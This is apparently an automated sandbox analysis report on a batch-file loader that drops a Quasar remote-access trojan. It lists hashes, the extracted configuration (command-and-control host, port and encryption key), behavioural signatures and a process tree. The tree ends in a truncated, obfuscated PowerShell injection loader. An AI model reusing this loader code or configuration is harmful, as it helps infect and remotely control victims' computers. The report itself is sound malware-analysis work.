Analysis
-
max time kernel
279s -
max time network
279s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
28-05-2024 15:23
Static task
static1
Behavioral task
behavioral1
Sample
Queen Loader.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Queen Loader.bat
Resource
win10v2004-20240508-en
General
-
Target
Queen Loader.bat
-
Size
1002KB
-
MD5
f6d5bfaee8a55ff72c7b453fda066d62
-
SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f
-
SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
-
SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
-
SSDEEP
12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB
Malware Config
Extracted
quasar
-
reconnect_delay
3000
Extracted
quasar
3.1.5
Video
runderscore00-25501.portmap.host:25501
$Sxr-oWTh3ZS9htfe80iIl5
-
encryption_key
zK8u0rpHf4TJzGf65Flt
-
install_name
Win11.exe
-
log_directory
$sxr-Logs
-
reconnect_delay
3000
-
startup_key
Windows 11 Boot
-
subdirectory
Win11
Signatures
-
Quasar payload 4 IoCs
Processes:
resource yara_rule behavioral3/memory/5044-22-0x00000000086B0000-0x00000000087A2000-memory.dmp family_quasar behavioral3/memory/3724-80-0x00000000083F0000-0x000000000845C000-memory.dmp family_quasar C:\Users\Admin\AppData\Local\Temp\New.exe family_quasar behavioral3/memory/380-99-0x0000000000D30000-0x0000000000D9C000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3556 created 632 3556 powershell.EXE winlogon.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 3724 powershell.exe 6 3724 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 5044 powershell.exe 1408 powershell.exe 3724 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe -
Executes dropped EXE 2 IoCs
Processes:
Install.exeNew.exepid process 2780 Install.exe 380 New.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 2 ip-api.com -
Drops file in System32 directory 14 IoCs
Processes:
OfficeClickToRun.exesvchost.exepowershell.EXEsvchost.exesvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\System32\Tasks\$77New.exe svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3556 set thread context of 3512 3556 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEsvchost.exeOfficeClickToRun.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Set value (str) \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update" svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Set value (str) \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption" svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Set value (str) \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption" svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)" svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" svchost.exe -
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exepid process 5044 powershell.exe 5044 powershell.exe 1408 powershell.exe 1408 powershell.exe 3724 powershell.exe 3724 powershell.exe 3556 powershell.EXE 3556 powershell.EXE 3556 powershell.EXE 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3724 powershell.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3512 dllhost.exe 3724 powershell.exe 3512 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 5044 powershell.exe Token: SeDebugPrivilege 1408 powershell.exe Token: SeIncreaseQuotaPrivilege 1408 powershell.exe Token: SeSecurityPrivilege 1408 powershell.exe Token: SeTakeOwnershipPrivilege 1408 powershell.exe Token: SeLoadDriverPrivilege 1408 powershell.exe Token: SeSystemProfilePrivilege 1408 powershell.exe Token: SeSystemtimePrivilege 1408 powershell.exe Token: SeProfSingleProcessPrivilege 1408 powershell.exe Token: SeIncBasePriorityPrivilege 1408 powershell.exe Token: SeCreatePagefilePrivilege 1408 powershell.exe Token: SeBackupPrivilege 1408 powershell.exe Token: SeRestorePrivilege 1408 powershell.exe Token: SeShutdownPrivilege 1408 powershell.exe Token: SeDebugPrivilege 1408 powershell.exe Token: SeSystemEnvironmentPrivilege 1408 powershell.exe Token: SeRemoteShutdownPrivilege 1408 powershell.exe Token: SeUndockPrivilege 1408 powershell.exe Token: SeManageVolumePrivilege 1408 powershell.exe Token: 33 1408 powershell.exe Token: 34 1408 powershell.exe Token: 35 1408 powershell.exe Token: 36 1408 powershell.exe Token: SeIncreaseQuotaPrivilege 1408 powershell.exe Token: SeSecurityPrivilege 1408 powershell.exe Token: SeTakeOwnershipPrivilege 1408 powershell.exe Token: SeLoadDriverPrivilege 1408 powershell.exe Token: SeSystemProfilePrivilege 1408 powershell.exe Token: SeSystemtimePrivilege 1408 powershell.exe Token: SeProfSingleProcessPrivilege 1408 powershell.exe Token: SeIncBasePriorityPrivilege 1408 powershell.exe Token: SeCreatePagefilePrivilege 1408 powershell.exe Token: SeBackupPrivilege 1408 powershell.exe Token: SeRestorePrivilege 1408 powershell.exe Token: SeShutdownPrivilege 1408 powershell.exe Token: SeDebugPrivilege 1408 powershell.exe Token: SeSystemEnvironmentPrivilege 1408 powershell.exe Token: SeRemoteShutdownPrivilege 1408 powershell.exe Token: SeUndockPrivilege 1408 powershell.exe Token: SeManageVolumePrivilege 1408 powershell.exe Token: 33 1408 powershell.exe Token: 34 1408 powershell.exe Token: 35 1408 powershell.exe Token: 36 1408 powershell.exe Token: SeIncreaseQuotaPrivilege 1408 powershell.exe Token: SeSecurityPrivilege 1408 powershell.exe Token: SeTakeOwnershipPrivilege 1408 powershell.exe Token: SeLoadDriverPrivilege 1408 powershell.exe Token: SeSystemProfilePrivilege 1408 powershell.exe Token: SeSystemtimePrivilege 1408 powershell.exe Token: SeProfSingleProcessPrivilege 1408 powershell.exe Token: SeIncBasePriorityPrivilege 1408 powershell.exe Token: SeCreatePagefilePrivilege 1408 powershell.exe Token: SeBackupPrivilege 1408 powershell.exe Token: SeRestorePrivilege 1408 powershell.exe Token: SeShutdownPrivilege 1408 powershell.exe Token: SeDebugPrivilege 1408 powershell.exe Token: SeSystemEnvironmentPrivilege 1408 powershell.exe Token: SeRemoteShutdownPrivilege 1408 powershell.exe Token: SeUndockPrivilege 1408 powershell.exe Token: SeManageVolumePrivilege 1408 powershell.exe Token: 33 1408 powershell.exe Token: 34 1408 powershell.exe Token: 35 1408 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 3724 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exepowershell.EXEdllhost.exedescription pid process target process PID 2932 wrote to memory of 5044 2932 cmd.exe powershell.exe PID 2932 wrote to memory of 5044 2932 cmd.exe powershell.exe PID 2932 wrote to memory of 5044 2932 cmd.exe powershell.exe PID 5044 wrote to memory of 1408 5044 powershell.exe powershell.exe PID 5044 wrote to memory of 1408 5044 powershell.exe powershell.exe PID 5044 wrote to memory of 1408 5044 powershell.exe powershell.exe PID 5044 wrote to memory of 2800 5044 powershell.exe WScript.exe PID 5044 wrote to memory of 2800 5044 powershell.exe WScript.exe PID 5044 wrote to memory of 2800 5044 powershell.exe WScript.exe PID 2800 wrote to memory of 4756 2800 WScript.exe cmd.exe PID 2800 wrote to memory of 4756 2800 WScript.exe cmd.exe PID 2800 wrote to memory of 4756 2800 WScript.exe cmd.exe PID 4756 wrote to memory of 3724 4756 cmd.exe powershell.exe PID 4756 wrote to memory of 3724 4756 cmd.exe powershell.exe PID 4756 wrote to memory of 3724 4756 cmd.exe powershell.exe PID 3724 wrote to memory of 2780 3724 powershell.exe Install.exe PID 3724 wrote to memory of 2780 3724 powershell.exe Install.exe PID 3724 wrote to memory of 2780 3724 powershell.exe Install.exe PID 3724 wrote to memory of 380 3724 powershell.exe New.exe PID 3724 wrote to memory of 380 3724 powershell.exe New.exe PID 3724 wrote to memory of 380 3724 powershell.exe New.exe PID 3556 wrote to memory of 3512 3556 powershell.EXE dllhost.exe PID 3556 wrote to memory of 3512 3556 powershell.EXE dllhost.exe PID 3556 wrote to memory of 3512 3556 powershell.EXE dllhost.exe PID 3556 wrote to memory of 3512 3556 powershell.EXE dllhost.exe PID 3556 wrote to memory of 3512 3556 powershell.EXE dllhost.exe PID 3556 wrote to memory of 3512 3556 powershell.EXE dllhost.exe PID 3556 wrote to memory of 3512 3556 powershell.EXE dllhost.exe PID 3556 wrote to memory of 3512 3556 powershell.EXE dllhost.exe PID 3512 wrote to memory of 632 3512 dllhost.exe winlogon.exe PID 3512 wrote to memory of 684 3512 dllhost.exe lsass.exe PID 3512 wrote to memory of 996 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 552 3512 dllhost.exe dwm.exe PID 3512 wrote to memory of 452 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 704 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1068 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1076 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1156 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1164 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1244 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1304 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1420 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1472 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1480 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1560 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1572 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1688 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1708 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1756 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1848 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1868 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1740 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1980 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 1968 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 2068 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 2136 3512 dllhost.exe spoolsv.exe PID 3512 wrote to memory of 2180 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 2360 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 2472 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 2480 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 2520 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 2612 3512 dllhost.exe svchost.exe PID 3512 wrote to memory of 2624 3512 dllhost.exe sysmon.exe PID 3512 wrote to memory of 2648 3512 dllhost.exe svchost.exe
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{fd69fb5a-6762-4b72-aaf4-c669e1fffa7e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ycHrhRKkEkQe{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kgNiAweiPHvOvw,[Parameter(Position=1)][Type]$CIuQyREIAp)$tbHodKdPXSz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+'e'+'c'+[Char](116)+''+'e'+''+'d'+''+[Char](68)+'e'+'l'+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+'l'+'e'+'',$False).DefineType('M'+'y'+''+[Char](68)+'ele'+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+''+'l'+'a'+'s'+'s,'+'P'+'u'+[Char](98)+'lic,'+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+'d'+[Char](44)+'An'+[Char](115)+''+[Char](105)+'Cl'+[Char](97)+'s'+'s'+',A'+[Char](117)+''+[Char](116)+'oC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$tbHodKdPXSz.DefineConstructor(''+'R'+''+'T'+'Spe'+[Char](99)+''+'i'+''+[Char](97)+'l'+'N'+''+[Char](97)+'m'+'e'+''+','+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+','+'P'+'u'+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kgNiAweiPHvOvw).SetImplementationFlags('Run'+'t'+'im'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$tbHodKdPXSz.DefineMethod('I'+'n'+''+'v'+'o'+'k'+'e',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+'H'+[Char](105)+''+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+'S'+''+'l'+''+'o'+'t'+','+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$CIuQyREIAp,$kgNiAweiPHvOvw).SetImplementationFlags('R'+[Char](117)+'nt'+[Char](105)+''+[Char](109)+'e'+','+'M'+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+'d');Write-Output $tbHodKdPXSz.CreateType();}$LEnQRauVjJwpI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+'t'+'em'+'.'+''+'d'+''+[Char](108)+'l')}).GetType('M'+'i'+'c'+'r'+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+'i'+'n'+'3'+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+'s'+'a'+''+[Char](102)+''+'e'+''+'N'+'a'+'t'+''+'i'+'veM'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$GQedneLYUSiMlH=$LEnQRauVjJwpI.GetMethod(''+'G'+'et'+[Char](80)+''+'r'+'o'+'c'+'Ad'+[Char](100)+''+[Char](114)+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'St'+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wxzAdGlchTlRSXAzXKO=ycHrhRKkEkQe @([String])([IntPtr]);$uBACIJYkwVYUyHWDIjYrSl=ycHrhRKkEkQe 